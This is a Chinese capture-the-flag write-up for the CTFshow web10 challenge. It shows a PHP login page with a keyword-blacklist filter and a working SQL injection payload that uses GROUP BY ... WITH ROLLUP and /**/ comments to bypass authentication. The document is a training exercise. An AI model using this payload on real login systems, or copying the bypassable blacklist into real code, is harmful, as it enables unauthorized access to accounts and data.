当前位置:网站首页>wp-ctfshow-web10 (group up注入)
wp-ctfshow-web10 (group up注入)
2022-08-08 20:45:00 【sayo.】
wp
打开题目:
点“取消”下载源码:
<?php
$flag="";
function replaceSpecialChar($strParam){
$regex = "/(select|from|where|join|sleep|and|\s|union|,)/i";
return preg_replace($regex,"",$strParam);
}
if (!$con)
{
die('Could not connect: ' . mysqli_error());
}
if(strlen($username)!=strlen(replaceSpecialChar($username))){
die("sql inject error");
}
if(strlen($password)!=strlen(replaceSpecialChar($password))){
die("sql inject error");
}
$sql="select * from user where username = '$username'";
$result=mysqli_query($con,$sql);
if(mysqli_num_rows($result)>0){
while($row=mysqli_fetch_assoc($result)){
if($password==$row['password']){
echo "登陆成功<br>";
echo $flag;
}
}
}
?>
屏蔽了大部分关键字。
这里要介绍到group by
和with rollup
group by
能够对结果按指定key进行排序,而with rollup
能够在此基础上再做汇总统计
效果就像这样
关键在于,虽然with rollup能够进行汇总,但是对于字符串,汇总结果就是NULL
。
这样就添加出了 username='xiaoming' password为空
一组数据。
所以构造payload:
username=admin'/**/or/**/1=1/**/group/**/by/**/password/**/with/**/rollup#&password=
解析:
这里闭合也不一定是admin
,保持为真即可。
并且,在源码中,是先筛选username,在返回结果中对比password是否相同。
加入payload后就是,筛选出所有结果,password为空,比对后正好有为空的密码,所以登录成功。
登录成功界面。
边栏推荐
猜你喜欢
Redis Bloom Filter
学习笔记:2.3 静态链表 循环链表 双向链表
磁控胶囊胃镜:具有良好耐受性的非侵入性胃镜检查
Ansible自动化运维工具(二)playbook剧本
Matlab用回归、SEIRD模型、聚类预测美国总统大选、新冠疫情对中美经济的影响
方舟开服务器教程——开服配置常见问题及解决方法
The new database is online | CnOpenData information transmission, software and information technology service industry basic information data of industrial and commercial registered enterprises
0-1 背包问题
rk3588使用npu进行模型转换和推理,加速AI应用落地
iMeta | 深圳先进院戴磊组开发可同时提取共存菌株的组成和基因成分谱的菌株分析工具...
随机推荐
瑞吉外卖项目实战Day06--手机端
高数_复习_第3章:一元函数积分学
OpenEuler's Ways to Improve Resource Utilization 02: Effects under Typical Applications
测试面试题锦集
西湖大学鞠峰组招聘【塑料降解 / 污水工程 / 微生物学】方向博士后和科研助理...
编写CMakeLists生成静态库及可执行文件的make文件
Kotlin注解
Gradle is as simple as using kotlin to write common commands
差点被ECCV错过的论文:视频理解新框架,仅用微调的「成本」,达到预训练的「全能」...
Linux下使用kill杀不死Mysql进程一直杀不死的问题解决方案
买股票安全吗 资金能取出来吗
The WPF main form calls User32's SetWindowPos to set the form to the top, which will cause the problem of grabbing the focus with other forms
Flask 教程 第十一章:美化
Kotlin基础稳固第一天
方舟建筑代码指令大全
Notes: The difference between laravel, updateOrCreate and updateOrInsert
uni-app微信小程序如何渲染markdown
Kotlin delegate property knowledge points
What are the role of document management system for companies?
LitJson使用中的一些问题